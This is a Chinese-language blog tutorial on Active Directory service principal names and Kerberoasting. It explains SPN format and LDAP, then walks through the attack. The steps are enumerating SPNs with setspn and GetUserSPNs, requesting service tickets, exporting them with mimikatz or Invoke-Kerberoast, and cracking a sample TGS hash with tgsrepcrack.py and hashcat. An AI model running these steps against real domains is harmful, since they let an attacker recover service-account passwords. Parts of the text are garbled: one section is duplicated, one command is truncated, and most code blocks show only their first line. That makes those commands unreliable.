服务主体名称(SPN)是服务实例的唯一标识符。Kerberos身份验证使用SPN将服务实例与服务登录帐户关联。
如果您在整个林中的计算机上安装服务的多个实例,则每个实例必须具有自己的SPN。
在Kerberos身份验证服务可以使用SPN对服务进行身份验证之前,必须在该服务实例用于登录的帐户对象上注册SPN。
SPN的类别:
1 |
注册在AD上机器帐户(Computers)下 |
当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下;
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
SPN格式
SPN语法包含四个元素:两个必需元素和两个其他元素,您可以根据需要使用它们来产生唯一的名称
1 |
<service class>/<host>:<port>/<service name> |
元素描述
1 |
<service class>:标识服务类的字符串,可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等 |
SPN查询
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
1 |
setspn -q */* #查询当前域的所有SPN |
查询结果
1 |
CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org |
发现存在 SPN!
以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN
SPN扫描
可以通过 SPN 来获取想要的信息,比如想知道域内哪些主机安装了什么服务,就不需要再进行批量的网络端口扫描。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。
powershell执行策略默认为Restricted,不允许执行脚本。
若要了解计算机上的powershell现用执行策略,请输入
1 |
get-executionpolicy |
若要在本地计算机上运行您编写的未签名脚本和来自其他用户的签名脚本,请使用以下命令将计算机上的执行策略更改为 RemoteSigned(需管理员权限)
1 |
set-executionpolicy remotesigned |
GetUserSPNs.ps1
GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。
脚本下载:https://github.com/nidem/kerberoast
SPN扫描
可以通过 SPN 来获取想要的信息,比如想知道域内哪些主机安装了什么服务,就不需要再进行批量的网络端口扫描。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。
powershell执行策略默认为Restricted,不允许执行脚本。
若要了解计算机上的powershell现用执行策略,请输入
1 |
get-executionpolicy |
若要在本地计算机上运行您编写的未签名脚本和来自其他用户的签名脚本,请使用以下命令将计算机上的执行策略更改为 RemoteSigned(需管理员权限)
1 |
set-executionpolicy remotesigned |
GetUserSPNs.ps1
GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。
脚本下载:https://github.com/nidem/kerberoast
1 |
Import-module .\GetUserSPNs.ps1 |
LDAP协议
LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。
搬运daiker大佬文章中LDAP的介绍: https://www.anquanke.com/post/id/195100?from=singlemessage
- 目录树:如上图所示,在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。比如图中的每个圆圈都是一条记录。
- DN,RDN:比如说第一个叶子条目,他有一个唯一可区分的名称– —
- DN:uid=bob,ou=people,dc=acme,dc=org。类似于文件目录的相对路径绝对路径,他除了有个DN之外,还有个RDN,他与目录结构无关,比如之前咱们提过的uid=bob,ou=people,dc=acme,dc=org,他的RDN就是uid=bob
- 属性:描述条目具体信息。比如 uid=bill,ou=people,dc=acme,dc=org,他有属性name 为bill,属性age为11,属性school 为xx。
Kerberoasting
介绍 Kerberos 的认证流程时说到,在 KRB_TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码。
下图为设置 Kerberos 的加密方式为RC4,在域中可以在域控的「本地安全策略」中进行设置:
设置完成之后运行里输入「gpupdate」刷新组策略,策略生效。
Kerberoasting攻击方式一
获得有价值的SPN
需要满足以下条件:
1 |
该SPN注册在域用户帐户(Users)下 |
1.获取SPN
powershell:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
1 |
cscript GetUserSPNs.vbs |
2.根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。
1 |
Add-Type -AssemblyName System.IdentityModel |
3.Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据。
1 |
klist |
4.mimicatz导出
1 |
rberos::list /export |
5.爆破密码
脚本:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
1 |
python2 tgsrepcrack.py wordlist.txt 1-40a10000-jerry@MSSQLSvc~Srv-Web-Kit.rootkit.org-ROOTKIT.ORG.kirbi |
Kerberoasting攻击方式二
Kerberoasting攻击方式一中需要通过 mimikatz 从内存中导出票据,Invoke-Kerberoast 通过提取票据传输时的原始字节,转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。
自动实现,并且不需要mimikatz,普通用户权限即可,参考资料
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
1 |
Import-module .\Invoke-Kerberoast.ps1 |
–outputformat 参数可以指定输出的格式,可选 John the Ripper 和 Hashcat 两种格式
利用hashcat爆破
工具下载:https://github.com/hashcat/hashcat
1 |
hashcat64.exe -m 13100 hash.txt dic.txt --force --show |
hash.txt内容
1 |
$krb5tgs$23$*dbadmin$rootkit.org$MSSQLSvc/Srv-Web-Kit.rootkit.org:1433*$d78f3a872b2e770bd7fed0a08386d791$2a356ecded8ad719cde070eb0c25bd1126dce5017acfb219135760a3890428da51667504789cb12c15fa61c71209ffc3ed0cd1d7e08cbeb4bb2bbc84d42bac53f4030bbf8fff011bcfcd76e2448f8b34f1431da0ba5f373c737d12004562b4242b099c2f27797cd682902f70f356f5fa629ea7c55458ebd230eaa19c56f596e1e1e6e2d37887bddca6243661c3d1d8e69420a3ab4427c56859d3858f6b4283fc268a1f4af161771d37858226a4d640f0cb45648760d7c5698cfbcc1e53003277e462937d09da38e8c1bfd698e6d6db5fc184fa9166c5bf8002cb061b53187612d597ad3a547b4a2b6cd474bcb894c6d1ff021299882dd4ba9d37fe5543bbb205b5941cb24891f3f1733dd012dda97a81d8cb0206bfca3b9ae8a0087466fb91b1bea820a3608f71eb90a50d46ca1944816242d75ddae569cdf33bad5fb8f5703c252dbfce22cfa8ab268d16671020044282f88119854a01500216364329e89b37367516d0f21f9d2f6b20b886e3a01424b90431ffc7782a21a6befe40514cdfb704c29a2bd25078e821209d914df46fb11c997c7cf9e0ec94c036466cd51351c132304ff8a2bbdd8120a955b7ef764169193c8915dc123d6c339a5c2d7bae301f0effdaaa604cc84a4f36f005bbbf64f1cb276b265fc953e7b3c09cdbc4ec102edd8907fcf812088e7ab7ab1d3d1efe07c899f9f590ee1a8fa7714e5b5e7b82b072aa46dae2bf9566cca99877932021b506ddb51e3162a576e155ff0c40e6eb1546b7713d355475c4df227864e4a3e7d12c3c0d6f1020f738b041c4717aa626ef8a3c9974bda28f2d058dfc2a90bd6aea7a6352c07999744e9b936b34b372ffd85153bec7ea17c80cab0ab0f165b638fc43917df16c8dc37d664d952cb615bbf95809bcc046761cefc39eb01b2b0160d31701ed33f3d9ffafafbf931c3f698ab57550da5fb50b009aa27e1dcb3fdfcf9d68b44882b065dedb15252c3762b2ff98c197e87f4a04831ed8dda78e71a9744a655fde06064a8a7b19caa0845436ceadc279e3d50fb21982d9303f96470705f85f4ab1544d54f2a39f98fc5bcab97ad124b7aeffb45ccb356c043ee2949bdffb1fe0607b608051bc300b736d1add8f2cf50f508fe8b3e624f1d512cff8ed1f894a2836ea9fc960c5a87933f793a1f059f51d640353e01eedfaf5b41a60ba2b779d7e27e29d83fc584cb3ad7c52d746c1fd1d8b38840d3533e9ab0dc96110d509ab41735253a3354c3bcaa97acde9f6f2d9abe6ca1cea1e4b9df500b0567215571d8360f5f55b1dda171c2db476e2888eee7dfefb9a22909729350a4307d1f606a5ddb615a29ea3b54194f216f92c2161e3d998044c811675e86f913140e0e2d290da20141a9fe488ea715c1562f6425e30b54261e44b8e83430456c2b11e08d227b209f4c992089d8ac633e59d0ccbe15e5c06 |
爆破结果
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论